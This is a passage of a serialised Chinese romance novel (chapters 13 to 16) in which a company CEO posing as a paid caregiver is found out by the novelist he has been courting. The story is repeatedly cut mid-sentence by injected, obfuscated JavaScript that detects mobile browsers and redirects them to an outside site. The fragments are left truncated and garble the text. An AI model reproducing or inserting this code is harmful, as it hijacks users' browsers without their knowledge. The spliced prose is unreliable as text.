高晓莱听了她的解释,一脸了然,“啧,还是喜欢上了。喜欢也正常啦,不是那张脸,单就对你无微不至的照顾,你不沦陷我都要怀疑你暗恋我了。” 利知无语,“……太自恋,得治。” “话说回来啊,”高晓莱长叹一口气,“我以为你会喜欢那种正值刚正不阿的人,类似警察、老师、医生啊这些的,没想到是喜欢那种,带点妖的。” 高晓莱压低声音问:“接过吻了吗?” “……没” “做过吗?” 利知脸爆红,“吻都没接过,做什么呀!” 安静了一瞬,高晓莱又长长地叹了一口气,“作孽啊!” “照理说这种妖里妖气的,勾引人也挺会的,可你们相处了这么久什么事都没发生。” 高晓莱一脸高深莫测,“这种没钱没背景又有颜的,要是只图色倒无所谓,毕竟这种事双方的嘛,就怕是只图财的,到头来色得不到,财又空了,找谁哭去!” “……人家来做陪护,就是图财啊。” “这么说也是哎……”高晓莱又琢磨了一会,“你对他一切都不了解,如果真想一起的话,相处的这点时间,还远远不够的。” 利知低声应着。 高晓莱问:“他离开以后,你有什么打算?” “就,照常生活啊。” “不是,我是说,会不会主动联系,类似约出来吃个饭啊,看总电影之类的,再不济,会不会微信轰炸他?” 利知沉默了。 她也想过的,等这段雇用关系结束之后,他们也许就止步于这种同学和朋友的层面了。 不过对于蒋星尧的为人,利知还是对他有最基本的任信的,虽说相处的时间短,他所做的,是真真切切为她好。要说有所图,最多也就图点加班费罢了,而且加班费还是她主动提出给的。 高晓莱听了利知的分析,也觉得合情合理,她毕竟没过多接触过蒋星尧,她所推测的,只是基于主观推测。 正聊着,利知接到蒋星尧的电话,问她什么时候回家。 “吃完午饭就回去了。”利知问他,“你现在在家了?” “不在。晚饭等我回去做吧。”蒋星尧那边有点吵杂,又匆匆交待了两句就挂电话了。 高晓莱托着腮一脸色眯眯地听完。 “好可惜啊!”她说,“今晚刚好有个聚餐,不然去你家蹭蹭饭,他做饭还挺好吃的。” * 日暮西斜,纵卫集团一楼大堂门口。 江启楠把车停稳,抬手看了眼手表,时间差不多了。 他侧头看向副驾位,那尊贵黑的地毯上,静静躺着的三个耷拉下来的红色塑料袋,里面装是,蒋星尧今晚要做的,菜。 他有点搞不懂蒋总,说他爱下厨,可连肉菜都要求买的时候切好;说他不爱嘛,在这个忙得不可开交的关键时刻,他还要抽身回去做个饭。 正思想着,蒋星尧换了一身休闲装走了过来。 蒋星尧最近热衷于变装,上班商务,下班休闲。这一点江启楠倒是懂,因为蒋总要披好他那个将掉不掉的马甲! 上上周,正处在交接的关键时刻,蒋总忽然说要居家办公。其他人不懂,作为替他管理了两年小黄鱼号的江启楠却很懂! 可是他不能说啊,对谁都要憋着,以至于给那个女孩送饭的时候,他都小心翼翼,生怕哪个表情遗漏了,让蒋总的马甲在他这里保不住了! 他还要奖金,还要年终奖,还要前途的啊! 等江启楠回过神来,蒋星尧已经坐上后座,抱臂闭目,开口时声音多了几分沙哑,“今天你开车送我吧。” “好的,蒋总。” 江启楠启动车子,徐徐开离大厦。 他透过后视镜看了眼闭目养神的人,还是忍不住问道:“蒋总怎么想到回去做饭?” “太久没给她做饭了。”蒋星尧依旧闭目,只是唇角扬起一抹笑,“手有点痒了。” “……” 想想也不难理解,蒋星尧现在是顶着陪护的身份,却一整天都不着家,他是担心那位利小姐有情绪吧。 也不是怕被怨不尽责,是怕下的功夫不够,感情还没到位就淡下来了。 江启楠忽然有点同情起蒋星尧了。 现时是下班高峰期,车子走走停停,蒋星尧缓缓睁开眼,看了眼外面的泱泱车流,忽然问他:“你发的帖子有人回答了吗?” 江启楠顿了一下,很快想起,那是蒋星尧前天下班时交待过的事。 “挺多人回答的,大多都是女孩子。” “嗯,说说!”蒋星尧兴致盎然。 “我总结了一下,大概分两批人,有些认为男孩子隐瞒真实身份去照顾一个女孩子,是一件很浪漫的事,出发点是喜欢,而且整个过程男孩都有付出。她们觉得这份情谊胜过一切。” 蒋星尧沉默了一瞬,随即问:“另一部分人呢?” “另外一些就趋于理智的。她们觉得交往的前提是信任,如果相处的过程中连身份都欺瞒的,就是最基本的信任都没有,那无论那个人多优秀,在她们心目中都会大打折扣。还有比较激进的,甚至还会……请对方离开。” 其实“请”字已经是经过他修饰的了,有些直接是“让他滚”,“以后还是别见面的好”,还有“老死不相往来”。 “嗯,知道了。”声音低沉,听不出情绪。 江启楠从后视镜看了一眼后座的人。 蒋星尧偏着头看向车窗外,俊逸的侧脸线条流畅,紧闭的唇线,视线幽深拉远却没焦距,整张脸好像比平时多了几分落寞与怅然。 江启楠默默地收回视线,外表平静,内心却在哀嚎: 难不成利小姐是理智的那类型? 完了完了! 他才陪蒋总把升迁之路熬出头,现在又无缝衔接,陪蒋总熬同样坎坷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713184|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的感情路。 不期然想到他小黄鱼帐号里那两百多号人“想要”他,就一阵头皮发麻。 他比公司里任何人都想蒋总得偿所愿,早日结婚,早生贵子,三年抱两…… 总之, 他不想再做类似于管理小黄鱼号的事了! * 蒋星尧提着菜回到家,利知马上从房间里出来,笑着问他今晚要做什么好吃的,一听到他报的菜名马上眼睛发亮。 那模样别提多讨人喜欢! “时间过得真快啊,”蒋昨尧垂眸一笑,“今天第十一天了。” 利知一愣,知道他说的是来她家的时间。 “是啊,真的很快。”再过四天,他就要离开了。 利知想开口问他新工作进展得怎么样,可话到嘴边,还是咽下去了。 “第十五天的晚上,能不能请利小姐把宝贵的时间留给我?” “啊?怎么了?”蒋星尧低沉的嗓音把利知的思绪回笼。 “请你吃饭。”他说,“出去外面吃。” 第十五天啊…… “你照顾了我两周,”利知低声说,“我请你才对。” “你要请我,以后有的是机会啊。” 利知一愣,抬头看向他,蒋星尧也正看向她,神情认真,是在度量着很重要的事那般,“有件事要跟你说,就怕……” 他苦笑了一下,“你不肯原谅我。” 利知歪着头看他,“很严重的事?” 蒋星尧沉吟了下,问道:“不违法不违背道德,算不算严重?” “不算。” 蒋星尧展颜一笑,“好,知道了。” “……”套她进去呢! 利知坐在吧台上,托着腮笑盈盈地看着忙碌的人,心情明朗了许多了。 一整个下午利知都心不在焉,直到蒋星尧回家前不久,她数了数,只码了十个字: [蒋星尧蒋星尧为什么呢] 蒋星尧最近的忙碌与反常,她都看在眼里,可她相信,蒋星尧选择不说,肯定有他的理由。 也许是新工作还没着落,也许遇到困难。 也许,是她在蒋星尧的心目中,不是可以说这些事的人。 距两周的期限越来越近了,有些情绪越发道不明,也理不清了。 可他刚才说,要和她说个事。 约在第十五天呀! 那是他们雇用关系结束的时间。 那么他们之间的关系是终止,还是用另一种方式延续下去呢? 她是不是可以有个期待呢? 想着想着,利知不自觉地笑了出声,她连忙捂住嘴,还好还好,蒋星尧没留意到她。 她离开高脚凳,坐回沙发上刷起视频。 才看了没一会,高晓莱给她发来信息:[你家小男佣叫什么名字?] 利知退出来回复:[蒋星尧] [怎么啦?] [挖了个大槽!] [??] 高晓莱丢了个视频过来, [您老细细品!!慢慢品!!] [我勒个乖乖,品完马上告诉我感受] 拿手机的手僵在空中,视频她还没点开,静止的画面中,站正中央的男人身板挺直,一身挺括的西装,头发打理得一丝不苟,他垂着眸,面前立着一个话筒。 旁边有醒目的几行黄色粗体大字:[新旧交替,纵卫是否迎来新局面] [纵卫新上任CEO致词] 14. 第 14 章 拇指缓缓地移到中间的三角形播放,在上方停了两秒,最终落下。 “大家好,我是纵卫新上任CEO蒋星尧……” 他回顾了疫情三年作为药企肩负着的使命;立足眼前,把纵卫的蓝图简明扼要地复述一遍。 男人的声音自带着一股不疾不徐的从容,仿若山涧溪流潺潺,格外清洌。 视频播放完毕,利知瞄了一眼厨房里忙得不亦乐乎的人。 简直如梦似幻!纵卫的CEO和在她家厨房做饭的人,居然长得一模一样! 高晓莱问:[看完了没?] 利知回:[看完了] [嗐你现在方便接电话吗?] [我那该死的倾诉欲哦!] 利知汗颜,拨通高晓莱的电话的同时,折身回房。 “莱莱,你说是不是巧合,刚好有人长得像他。” 高晓莱一阵无语,“巧到名字也一模一样?” “也许是呢……” “我说你害怕什么呢?” 利知垂眸,声音有些低,“我宁愿,不是真的。” “宁愿喜欢的人是个工作没着落的陪护,也不要是纵卫的CEO?没事吧你!” 利知被噎,这么说,好像也对啊。 高晓莱说:“先抛开其他来说,单就两个身份来说,纵卫集团总裁的含金量,超过了本市很大部分同龄人了吧。你啊,趁早接受,放宽心。” “白天怎么说来着,”高晓莱毫不顾形象地大笑起来,“这脸打得我啪啪香啊哈哈哈!” 在高晓莱亢奋的口述当中,利知得知,今天高晓莱和男友去见男友的朋友,朋友是个财经记者,昨天才参加完纵卫的记者招待会。 朋友说关于纵卫CEO的位置花落谁家的事,在业内早已没有悬念的了,只是缺了个正式广而告之的仪式。 因为这位CEO之后的排期都满了,于是把发布会提前召开,但出于集团内部的一些原因,官宣公布的日期需要跟随纵卫的官网而定。 因此这个上任视频,并没对外流传。 晚饭大家喝了点酒聊开来,那个记者朋友说起纵卫的新上任总裁,那颜值简直抗打很多流量小生。 高晓莱不信,让他亮出证据,记者朋友要她再三保证视频不外传才给她的。 结果一看,不得了了,居然和利知家的小男佣长得十分相像,于是问了名字,再和利知确认。 真的是同一个人! “啊啊啊啊快告诉我往哪个方向跪能掉下这么一个男人!” 利知汗颜,“要不你去小黄鱼找找?” “滚呀!你真以为堂堂纵卫总裁真的是闲得无聊才去挂网上卖、身,啊不,做陪护的吗?” 高晓莱说,“我就说他肯定有所图啦,人家是大总裁耶!你那点小财还不够人家塞牙缝呢。他呀,就是来图色的哈哈哈哈!” “其实……”利知很想告诉高晓莱,这段时间她和蒋星尧的相处模式,其实是她给财图色,转念一想,那些相处的细节怎都有点难以启齿。 她叹了一口气,“算了,没事了。” 高晓莱笑够了觉得有些奇怪,“嗐,你这么冷静吗?小男佣变成大总裁啊!” “那我应该怎样?” “开心、兴奋、羞涩也行。哎呀我目睹了一场恋爱预告耶!” 相较于高晓莱的亢奋,利知显得平静许多。也许不是,是冲击力过于大的时候,身体本能产生的抵御机制,让神经处于麻木状态。 从一开始齐全高端的工具,生疏的切菜技术,遇事的淡定从容,以及与陪护工作完全不搭一身矜贵。 到最近的忙碌,着装和香水味。 很多时候,真相只距一步之遥,只是她打心底没怀疑过蒋星尧展现给她的身份。 对,就是相信。 如同当年他作为学生代表上台讲的每一句话,利知都从未质疑过那样。 可是现在啊,蒋星尧给她编织的网,她该像蜘蛛那样攀附在上面,还是该做一名清洁工,把网扫掉? “晓莱,我也不知道……”利知的声音很是低迷,“我,我心里很乱。” 晚饭如常。 饭后利知提出她来洗碗,蒋星尧欣然答应了。 利知洗好碗出来,蒋星尧安静地坐在沙发上,微垂着头,一只手支着脑袋。 利知悄然靠近,才看到他眼睛紧闭着,灯光下,黑睫如鸦羽般覆在眼窝处。利知以俯视的角度去看,瘦削立体的脸庞,精致的五官,竟多分几分赢弱。 他好像瘦了。 又照顾她,又要忙着接手纵卫,能不瘦吗! 利知轻手轻脚地回房取了条毛毯,轻轻给蒋星尧盖上,站了一会,没见他转醒,才转身回房了。 第十二天。 利知起了个早,出来的时候,蒋星尧正在准备早餐,见到利知更是一脸惊讶,“今天这么早?” “唔。”利知侧身在越过蒋星尧,伸手捻了个饺子塞嘴里,含糊道,“饿醒的。” 蒋星尧把利知那份早餐推过去,满是无奈道:“坐着,慢慢吃。” 今天的早餐是饺子,水煮蛋和玉米,还有一杯牛油果奶昔。 饺子是楼下买的,牛油果奶昔是蒋星尧在煮蛋和玉米的时候用破壁机打的。 有蒋星尧在的这些日子里,利知的早餐就没随便过。 蒋星尧看了一眼安静地剥鸡蛋的人,早起就算了,还换好了一身衣服,便问道:“等下要外出吗?” 利知顿了一下,随即轻轻嗯了一声,“约了和编辑见面。” 出门前蒋星尧问她中午回不回家吃。 利知问:“你回来做?” “嗯,如果赶不及会叫人送。” “不用送啦,”利知虚笑着移开眼神,“我中午估计赶不回来。” * 昨晚下了一夜的雨,这时雨稍停歇,路边的绿化草地昨天被园艺工人翻了个底朝天,一股草与土沐发后的土腥味扑鼻而来。 利知坐在出租车里,一双眼越过外面的一片潮湿,紧紧锁住那道颀长的身影,正往地上停车场走去。 利知屏住了呼吸,眼睛不敢多眨,生怕只是一下下,便错过了。 直到蒋星尧上了一辆车,那辆车应该是整个停车场里,最难忽略的存在了吧。 ——宾利。 利知拍了拍司机的座椅,指着宾利说,“师傅,麻烦跟着那辆宾利。” “好嘞!” 这位司机是利知昨晚就预约好的,有一次坐他的车闲聊得知司机住附近,就留了电话,以备有时过早过晚出门叫不到车。 “姑娘,那是你男朋友?” “不是呢。” “也是哈,男朋友哪用跟着……”司机一皱眉,“那是,老公?” 利知无奈一笑,“都不是,我只是……想确认一些事。” 早高峰果然名不虚传,车流一直走走停停。 利知没有上班打卡的硬性要求,因此甚少在高峰期出门。 等到了纵卫集团,已经是75分钟后了。 原来从城西到纵卫,这么远的啊。 宾利驶进大堂门廊处,马上有一男一女迎了上来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713185|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 男的利知认得,就是给她送过饭的西装男。蒋星尧下了车,他恭敬地接过车钥匙上了驾驶位。 女的身材高挑,中规中矩的OL装被她穿得凹凸有致,性感又禁欲。她先把手里的平板双手递给蒋星尧,然后打开副驾驶位,弯腰进去取出一套套着洗衣店袋子的西装,平整地挽在臂弯处,身体微微侧向蒋星尧,一路亦步亦随的,像是在汇报工作。 “姑娘,要下车吗?” 利知才回过神来,“啊,下,下的。” 开门伸出脚,才发现刚才急着出门,直接穿了外穿拖鞋就往外跑了。 利知并没有进大楼,而是在附近漫无目的地逛着。 车流如湍急的溪流,川流不息。男的女的,穿着光鲜、亮丽,无不步伐节奏快,脸上没有多余的表情。 利知有点后悔没打扮一番再出门,这么在路上走着,好像与周围有点格格不入。 这里高楼林立,地标,市最高楼都集中在这个片区。 这里精英云集,房价更是全市最高。当初还没买现在住的那套小两房时,利先生和温女士曾经问过利知,要不要在城东买房,利知拒绝了。 写小说嘛,就喜欢安静的地方,现在住的地方能看山能看水,多好啊。 这个片区太大了,她是看着导航走的,走到累了也没走出多少路,索性租了辆自行车,绕着骑了一圈,终于对这一带有了初步的认识了。 又在网上搜了一家口碑不错的泰国菜,一路找过去也临近中午了。 点好了餐,利知玩了一会手机,然后点进蒋星尧的聊天框。 [吃饭了吗]她问。 [还没。你吃了?] [正准备吃] [吃的什么?] [冬阴功米线]吃清淡了十来天,馋酸辣虾汤了。 [才好就吃酸辣了] [药喝完了吗] [还没] [很好] 利知捧着手机,盯了“很好”两个字许久。总觉得简单的两个字,在他打出来,给人一种不怒自威的感觉。 蒋星尧:[下不为例] [喝药期间要忌辛辣的] 这时餐上来了,利知点的是套餐,配的是泰国奶茶。 鲜色的汤底,火红的大虾,深橘色的奶茶。 面对着绝佳的配色,利知反而少了刚进来时的兴致。她看向外面,依旧车水马龙,人头涌动。 蒋星尧, 现在在做什么呢? 他应该换上了那套西装,坐在偌大的办公室里,看文件时会不会皱起眉头? 他说“很好”的时候,是不是恰好有别人惹他烦了? 利知苦笑,她对坐在高楼大厦里的蒋星尧,一无所知。 她低下头回信息,[晚上回家吃饭吗?] [回] [晚饭我来做吧,你想吃什么?] [怎么想要做饭了?] [突然想到,一直都是你给我做饭,我没给你做过呢] [我做饭,不是应该的吗] 是啊。一日三餐,洗衣做饭,本来就是本分。 可是,她有了妄想了。 利知:[晚餐我做定了!你吃不吃?] [吃吃吃] [葱油□□] 这么高难度! [我不会] [可以买现成的,楼下的就很不错] [……说到底是嫌弃我的厨艺] 这次蒋星尧发来一条语音,朗朗的笑声,音色却极为温柔,“你做什么我都吃的。” 15. 第 15 章 利知回顾了一下过去蒋星尧做的菜,好像每一顿都是她爱吃的。 那他喜欢吃什么呢? 至于葱油鸡。她记得有一次为了搪塞尴尬,随口说想吃葱油鸡的。 他真的喜欢吃葱油鸡吗? 利知忽然觉得心好乱,发信息不自觉地强硬起来,[再给你一次机会,喜欢吃什么!!!!!] [糖醋排骨,糖醋咕噜肉二选一就可以] [哦,原来喜欢吃甜的啊] [男人喜欢吃甜的,也没多丢人啊] [……] 晚上蒋星尧回到时,利知正在厨房里,听到开门声,她扭头看过去。 蒋星尧穿的是早上出门的那套衣服。 他是不是长期在车上备着西装,一回到纵卫就换上? 利知转过头,继续切洋葱,一不小心,眼睛被洋葱刺了一下。 她看过很多男主隐瞒身份接近女主的小说,可能是自带的上帝视觉,那种因隐瞒而带来的撞击和暧昧简直让人欲罢不能。 可当自己成了被隐瞒的人,才知道愉悦之下,埋藏着欺骗和隐瞒,有多么的令人不适。 小说和现实,真的很不同的。 饭后利知和昨天一样,主动担起收碗洗碗的工作。 蒋星尧立在餐桌一角,沉默地凝视着。 他不是没察觉到,只是还没搞明白她的那份客气疏离缘起何处,只好静观其变。 按捺下隐隐的不安,蒋星尧跟着进了厨房。 两个人都没说话,不算大的空间里只有水流声和瓷碗碰撞的清脆声。 蒋星尧把过完清水的碗碟用干净的抹布擦拭,放好。 两人并排而站,暖黄色的灯光,手中的碗筷,还没来得及擦拭的水渍,这一幕温馨到让利知有种想哭的冲动。 “蒋星尧。” “嗯。” “你好像没说过……”利知的语气很平静,却让人有那种风雨欲来前的平静,“你住在哪里。” “我住在……” 蒋星尧话没说完整,利知抢先问:“城东,是不是?” 蒋星尧顿了下,低声问道:“你怎么知道的?” “我会推理的啊,”利知仰起头看他,柔声中带着一丝倔强,“从这里到城东,早晚高峰一趟就要一个多小时了吧,那一天来回就要两个多小时了。” 利知的语气很轻,吐出的每一个字却掷地有声,“纵卫集团在城东,你自然住城东更方便啦!” 空气有一瞬的凝固。 “真的很感谢你这段时间的用心照顾,你看,我也没事了,这里又离你上班的地方远,你,还是回去吧,这里……”利知的声音哽了一下,“不适合你。” 说完她转过身要走出厨房,才抬步就被蒋星尧扼住手腕,她甩了一下,那力道虽不大,却不给她轻易甩开的机会。 蒋星尧的手轻轻用力一带,使利知与他面对面,只是倔强的人儿硬是不肯看他。 他不禁苦笑,正如那该死的墨菲定律那样,害怕什么来什么。 “回去有什么用,”他的语调低沉轻柔,“心都留在这里了。” 利知整个人僵在原地,一时之间不知该如何应对,手上被他握着的地方灼热滚烫。 “很抱歉,我知道以这样的方式出现在你的生活里,实在欠妥,”蒋星尧神情没半点假色,“我保证,除了隐瞒身份之外,我说对你,没有半分欺骗成份的。” 一听到隐瞒、欺骗之类的词,利知心里就堵。 她偏开头低声说:“你这么忙,其实没必要大费周章来照顾我的。” “工作落下了可以赶赶,可是你,只有一个啊。” !!!! 这么直白的话,让利知有些无所适从,隐隐觉得这趋势偏离了。 沉默的间隙,感觉手上的力度有所松动,她忙抽回手,生怕他再来抢握似的,把双手背在身后,又小碎步后退,悄然拉开了两人的距离。 蒋星尧不动声色地把她的小动作看在眼里,内心不禁一阵酸涩。真是自作孽啊。 蒋星尧哑声道:“你就不好奇,有那么多方式接近你,我为什么非要来做陪护吗?” “我……” 其实不用问,答案已经昭然若揭了。 她心里很乱,其实她说出来的初衷,不过是想他不用来回跑那么累。 见利知始终沉默,蒋星尧的眼神暗淡了下来。 他低声说:“我们除了上过同一所学校,无论是工作,还是生活上都没有过多的交集。我想过很多种接近你的办法的,做陪护是最有效的,也是最不抱什么希望的,因为我没多大把握,你真的会找我。但我想赌一把。” 他嘴角挂起一抹笑,却透露出淡淡的艰涩,“你说对不太熟悉的人很难建立亲密关系,所以很排斥相亲;也不太相信一见钟情,说那是任性荷尔蒙在发作。你喜欢的是经过时间过滤之后,经得起生活的平凡,能接受细水长流的那种爱情。我关注你有两年了,但我不敢贸然找上你,怕你觉得我这个人鲁莽又唐突,那我岂不是连一丁点的机会都没了?” 利知听得一愣一愣的,最后抓住一个关键词,“你……关注我两年了?” “是的,”他的眼神灼灼,“就是校庆之后开始的,一开始是好奇,了解越多就越想认识你。” 利知表面上波澜不惊,其实内心早已如海浪般翻涌了。 那些排斥相亲,任性荷尔蒙的言论,她没记错的话,是在章节后面的作话里写的! 要说小说是有计划去写的,那作话就随意多了,想到什么就写什么,甚至都记不起是哪本小说下面写的,是什么情节勾起了她的倾诉欲。 她连忙在脑海里快速检索自己有没说过什么过分的话。 奈何脑袋空荡荡的,什么都想不起来。 忽然投下一片阴影,抬头一看,蒋星尧向她走近了。 利知一步步往后退,直到背贴到墙上,已经无路可退了。她也不回避了,就这么仰着头看他。 虽然眼神炯炯,心里实质乱得很。 蒋星尧在她面前站定,他的嗓音温柔而沉定,缱绻中仿佛带着几分乞求,“或者你说说,喜欢什么样的追法?” 利知脑袋一片空白,仅凭本能回应,“不是怎么追的问题,是谁追……” 蒋星尧的眼睛一亮,“那蒋星尧追你呢,可以吗?” “不是……我说的不是这个……”利知脸颊滚烫起来,怎么说着说着说到这个了,“我一开始要说的就是,让你回你家住。” “还是要赶我走啊?”蒋星尧收了笑,语气有些委屈。 “我哪有……”利知无力了,她只是不想他来回赶那么累。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13716198|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “期限不是还没到嘛。”蒋星尧语气很是坚定,“再说了,人还没追到呢,不能就这么走的。” 利知不满地嘀咕,“怎么总把追人挂在嘴边的……” 利知微鼓着腮,一副隐忍不发的模样,偏偏脸颊两旁透着粉嫩的红,反而让那股含蓄的怨气弥散成几分娇嗔。 “你不赶我走,我就不挂嘴边。” 还谈起条件来了! “我不是要赶你走,”利知没好气道,“只是觉得你已经够忙的了,还要来回奔波,这样很累的。” “我不累。”蒋星尧说,“公司里有些员工还住隔壁市呢,他们每天来回的时间比我还长呢。” “可我也好了啊,”利知看向他,“已经不需要照顾了。” “你看我最近有把当你病人了吗?”他无奈地叹气,“倒不如说我在蹭住呢,所以才怕你赶我走。” 换着法子说,还是不想走嘛。 今天之所以想和他谈谈,初衷只是考虑到他的通勤时间,并不是强硬地用赶。罢了,反正期限也快到了。 “你想住,就继续住吧。”利知叹了一口气,然后强调,“但原定的两周期限,依然没变的。” “明白!”蒋星尧绽开一个如释重负的笑,连声音都扬起轻松的调,“谢谢知知!” 他欺身往前,弯下腰直视着她,黑眸里充满着希冀,“那我隐瞒身份的事,能原谅我吗?” 利知别过头,不说话。 缄默得久了,蒋星尧的心开始七上八下了。 又煎熬过了十几秒,才听利知开口道:“你说除了隐瞒身份,其他没有半分欺骗,可是你隐瞒身份之后的种种行为,就带着欺骗了啊。你知道当初我为什么想方设法给我加班费吗?因为我觉得,你在我这里一天的工资真的太少了,每一次给你加了钱,我都有种满满的成就感。” 利知苦笑了下,“事实是,我加再多在你的银行上,也不过是皮毛。” “蒋星尧,”利知抬起头,平静地看着他,“你说这种算不算欺骗?算不算你隐瞒身份带来的后果呢?” 蒋星尧听完,神情有些慌乱了,“抱歉,我……” 他在厨房来回踱步,试图压制那股升起的焦躁,可越踱越不安。 他从小到大做的事,无论结果好与坏,都很少有后悔。此刻他却无比后悔,甚至悔恨当初,为什么不在上门照顾的第一时间就摊牌呢。 这就是给他试图走捷径得到的惩罚吗? 利知被他来回的身影恍得眼花,想着是不是她说得有点过了,便补救性的说:“一开始的确心里不好受,可是深想,你又没骗了我什么,反而在我需要人照顾的时候,是你给了我无微不至的照顾。如果不是你,是别的人,我想我肯定没被照顾得这么好的。所以,我没怪你,还要感谢你的照顾。真的!” 蒋星尧终于停了下来,只是眉头越拧越紧,“你没怪我,还要感谢我?” “嗯。”利知冲他点点头。 蒋星尧低骂了句,快步走出厨房。 利知满脑的疑问还没打出来,他又回来了,脸色很是阴郁。 “要不,还是怪一下我吧,骂我一顿,对我拳打脚踢也行!” ?? “蒋星尧,你是不是受了什么刺激?” 蒋星尧苍然一笑,“大概是疯了吧。” 16. 第 16 章 躺在床上,利知有种恍如隔世的错觉,她不就说了下自己在意被骗,顺便感谢一下他吗, 怎么把遇事淡定的人逼到暴躁了? 翻来覆去想到睡不着,忽然听到外面有动静,有脚步声在她房门前停了一瞬又走开了。 利知干脆坐了起来,看了眼时间,快一点了。 她侧耳去听,应该是去拿杯子喝了水,接着又在门前停下,利知屏气凝神,总感觉他下一秒就会敲门。 然而并没有,门外响起一声若有似无的叹息,听着像要离开了。 “等一下。”利知叫住他。 她下了床,赤着脚走到门后站定,“我们,就这么站着说吧。” “好的,知知。”蒋星尧的声音乖沉乖沉的。 “我们真正的相处时间,还没到半个月,对吧?” 蒋星尧顿了下,“是的。” “也就是我们对彼此的了解都不算多。”利知说,“我的微博,还有作话的那些,不算得上多正能量,但大都是乐观的。可是私底下我这个人吧,其实挺没趣的,生活和社交网都很单一,没有太热烈的感情,也不太会说话,对于发生了的事,总是先把最坏的打算想好了,想着如果最坏都能接受了,那也没什么不能接受的。” 屋内并没开灯,漆黑中好像多了块遮羞布,能把白天藏而不敢宣的那些话倾泄而出。 颀长的身影伫立在门外,眼睛紧紧盯着紧闭的房门,似乎真能穿过门板,看清里面的人那般。 良久,他嘴角牵了一抹苦笑,“你是怕我后悔?” 利知怔了下,坦然道:“是啊。” 怕他后悔大费周章来接近的人,其实不过如此。 “利知,”蒋星尧忽然郑重问道,“你遇事是不是都这么理智的?揭开我的身份,赶我走是怕我太累。欺骗了你还要感谢我对你的照顾。现在还担心我会后悔。” 利知一顿,一时不知该如何回。 “说实话我是后悔了,后悔没有第一时间告诉你。” 不知道是不是因为夜里的寂静,让蒋星尧低沉的声音多了些支离破碎感,“知知,我有好多种追你的方法的,如果你不能接受这种,要不说说,你喜欢什么样的追法?” 他继而说:“不接受,不原谅也没关系。我只是有一个请求,你不能因为我的身份变了而对我区别对待。 * 第二天早上,两人毫无意外地都顶着一对熊猫眼。 经过昨晚的摊牌对话,利知多少有些尴尬别扭。 蒋星尧尽管眼下有乌青,精神面貌倒不错,还勾着一抹明媚的笑,与她打招呼。 搞得好像被拒绝的反而是利知那样。 吃早餐的时候,利知总感觉对面的眼神灼灼。 暗自给自己打了第四次气之后,利知对上他的视线。 蒋星尧大大方方对视,嘴角勾起一抹笑,“想好了想要我怎么追没有?” “……!!!” 利知被他的话打了个猝不及防,被自己的口水呛了一下下。 她清咳了两声,随即嘀咕道:“什么跟什么呀,这些事,不是顺其自然的吗……” “顺其自然啊。”蒋星尧似懂非懂地点了点头,“那我按我的理解来喽。” 利知很想脱口问出他的理解是什么,转念一想,她有没回答什么或者答应什么,追问有种得了便宜还卖乖的嫌疑。 也就闭口,安静地吃完早餐。 蒋星尧变得越来越忙了,但还是坚持早起做早餐、热中药。 他的衣服更换了一批,现在每天都西装革履的,低调的香水味,精心打理的头发成了常态。 就感觉揭了面具的蒋星尧,比以前更坦然,更真实,利知想,这才是他最真实舒适的状态吧。 午饭晚饭是叫人送来的。利知劝过,说不用这么麻烦,但他依旧坚持。 第一顿午饭是上次在纵卫集团远远见过的那个女助理送来。 利知开门见到她的一刹那就认出她来了。对方看到她也是一愣,那双眼还很明显的唰地一亮。 不同于西装男的拘谨,她落落大方地进了屋,介绍说她叫练凝,还自来熟地给她铺开饭菜。 利知还记得那天早上,看到她和蒋星尧那么匹配的身影,心里就有种说不出的感觉。 还好练凝逗留的时间不长,利知只待礼貌疏离一些。 期间和练凝有过几次短暂的视线相交,不知怎的,总觉得那眼神过于直白,让人难以忽视。 晚饭是西装男送来的,还是那副毕恭毕敬的模样,他说蒋星尧在开会,走不开。说话时那肋肩低眉的样子,仿佛站在他面前的是一只猛兽。 晚上蒋星尧回来,利知和他聊起他的两个助理截然不同的性格。 蒋星尧笑着说:“别看他们性格迥异,可都是我的得力助手。” 利知忽然说:“那个叫练凝的,感觉挺帅的。” “帅?”蒋星尧拧起眉,把这个字斟酌起来,“为什么是帅?” “直觉吧。”利知也说不清楚。 “我帅还是她帅?” “能比的吗?”看着他一脸正色,利知忙说,“是,不同的帅?” “……” 翌日送午晚餐的都是西装男。 送晚餐的时候,西装男没急着跑掉,还毕恭毕敬地自我介绍起来,“我叫江启楠,利小姐叫我小江就可以了。” 说完一副欲言又止,“以后就是我负责给您送餐了。” “那位练小姐呢?” 江启楠的眉头微微蹙起,“蒋总说,她不太适合……送餐这份工作。” “……为什么?” “这个我就不清楚了,我们都是听蒋总的安排。” 